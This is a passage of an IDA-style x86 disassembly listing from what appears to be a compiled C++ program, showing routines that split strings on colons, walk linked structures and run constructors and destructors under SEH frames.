		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40192E
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413C40	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413C40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413D89
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017EE
		test	eax, eax
		jz	loc_413D89
		push	esi
		push	edi
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413D63
		add	ebp, 54h


loc_413CC0:				; CODE XREF: sub_413C40+11Dj
		push	15h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413CE0
		mov	ecx, eax
		call	sub_401F4B
		jmp	short loc_413CE2
; ---------------------------------------------------------------------------


loc_413CE0:				; CODE XREF: sub_413C40+95j
		xor	eax, eax


loc_413CE2:				; CODE XREF: sub_413C40+9Ej
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016B8
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40202C
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_401488
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413CC0


loc_413D63:				; CODE XREF: sub_413C40+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413D89:				; CODE XREF: sub_413C40+26j
					; sub_413C40+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413C40	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E10	proc near		; CODE XREF: sub_401F4Bj
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_413E10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413E30:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401870
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E70	proc near		; CODE XREF: sub_4018ACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413E70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_401CE4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_41405E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_402130
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41405E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_41405E
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413F57
		lea	ecx, [edi+2Ah]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017EE


loc_413F26:				; CODE XREF: sub_413E70+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413F4A
		cmp	cl, bl
		jz	short loc_413F46
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413F4A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F26


loc_413F46:				; CODE XREF: sub_413E70+C0j
		xor	eax, eax
		jmp	short loc_413F4F
; ---------------------------------------------------------------------------


loc_413F4A:				; CODE XREF: sub_413E70+BCj
					; sub_413E70+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413F4F:				; CODE XREF: sub_413E70+D8j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413F57:				; CODE XREF: sub_413E70+A1j
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413FB3
		lea	ecx, [edi+3Fh]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017EE


loc_413F82:				; CODE XREF: sub_413E70+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413FA6
		cmp	cl, bl
		jz	short loc_413FA2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413FA6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F82


loc_413FA2:				; CODE XREF: sub_413E70+11Cj
		xor	eax, eax
		jmp	short loc_413FAB
; ---------------------------------------------------------------------------


loc_413FA6:				; CODE XREF: sub_413E70+118j
					; sub_413E70+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413FAB:				; CODE XREF: sub_413E70+134j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413FB3:				; CODE XREF: sub_413E70+FAj
		push	58h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413FD3
		mov	ecx, eax
		call	sub_401D1B
		jmp	short loc_413FD5
; ---------------------------------------------------------------------------


loc_413FD3:				; CODE XREF: sub_413E70+158j
		xor	eax, eax


loc_413FD5:				; CODE XREF: sub_413E70+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40202C
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40202C
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401410
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4140AB
; ---------------------------------------------------------------------------


loc_41405E:				; CODE XREF: sub_413E70+44j
					; sub_413E70+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4140AB:				; CODE XREF: sub_413E70+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413E70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414160	proc near		; CODE XREF: sub_401D1Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414160	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4141F0:				; CODE XREF: ___:00401DD9j
		push	0FFFFFFFFh
		push	offset loc_43AF10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_4018AC
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4142E0	proc near		; CODE XREF: sub_401541j
		add	ecx, 6Ch
		jmp	sub_401C76
sub_4142E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414300	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414300
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_437AEA
sub_414300	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414343
		mov	ecx, eax
		call	sub_401BF4
; ---------------------------------------------------------------------------
		jmp	short loc_414345
; ---------------------------------------------------------------------------


loc_414343:				; CODE XREF: ___:00414338j
		xor	eax, eax


loc_414345:				; CODE XREF: ___:00414341j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40202C
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40202C
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40202C
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40202C
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401F0F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414430	proc near		; CODE XREF: sub_401BF4j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40142E
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414430	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4144D0:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_43AFD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4145A0	proc near		; CODE XREF: sub_401DC0j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4145A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E38
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_414650


loc_414605:				; CODE XREF: sub_4145A0+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41462D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41462D:				; CODE XREF: sub_4145A0+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020C2
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_414605


loc_414650:				; CODE XREF: sub_4145A0+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_414698
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_414673
		push	1
		call	sub_4019EC


loc_414673:				; CODE XREF: sub_4145A0+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_414698:				; CODE XREF: sub_4145A0+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_4145A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414710	proc near		; CODE XREF: sub_4019ECj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402243
		test	[esp+4+arg_0], 1
		jz	short loc_414728
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414728:				; CODE XREF: sub_414710+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414710	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414740	proc near		; CODE XREF: sub_402243j
		jmp	sub_401226
sub_414740	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414760:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_43B020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414829


loc_4147C3:				; CODE XREF: ___:00414827j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_444C6C ; ":"
		push	esi
		push	edx
		call	sub_4016B8
		mov	ecx, ebp
		call	sub_401DC0
		cmp	al, bl
		jnz	short loc_4147F0
		mov	[esp+13h], bl


loc_4147F0:				; CODE XREF: ___:004147EAj
		inc	esi
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4147C3


loc_414829:				; CODE XREF: ___:004147C1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4148A0	proc near		; CODE XREF: sub_40212Bj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4148A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	loc_4149D4
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_41497E


loc_414914:				; CODE XREF: sub_4148A0+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B86
		test	eax, eax
		jz	short loc_41494C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41495B


loc_41494C:				; CODE XREF: sub_4148A0+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41495B:				; CODE XREF: sub_4148A0+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414914


loc_41497E:				; CODE XREF: sub_4148A0+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_4149D4
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_40214E
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_4149A1
		push	1
		call	sub_401708


loc_4149A1:				; CODE XREF: sub_4148A0+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_4149D4:				; CODE XREF: sub_4148A0+2Ej
					; sub_4148A0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_4148A0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A70	proc near		; CODE XREF: sub_401708j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_414A88
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414A88:				; CODE XREF: sub_414A70+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414A70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414AA0	proc near		; CODE XREF: sub_401A6Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414AA0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414B30:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_43B098
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40212B
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414BC0:				; CODE XREF: ___:00401B45j
		push	0FFFFFFFFh
		push	offset loc_43B0B8
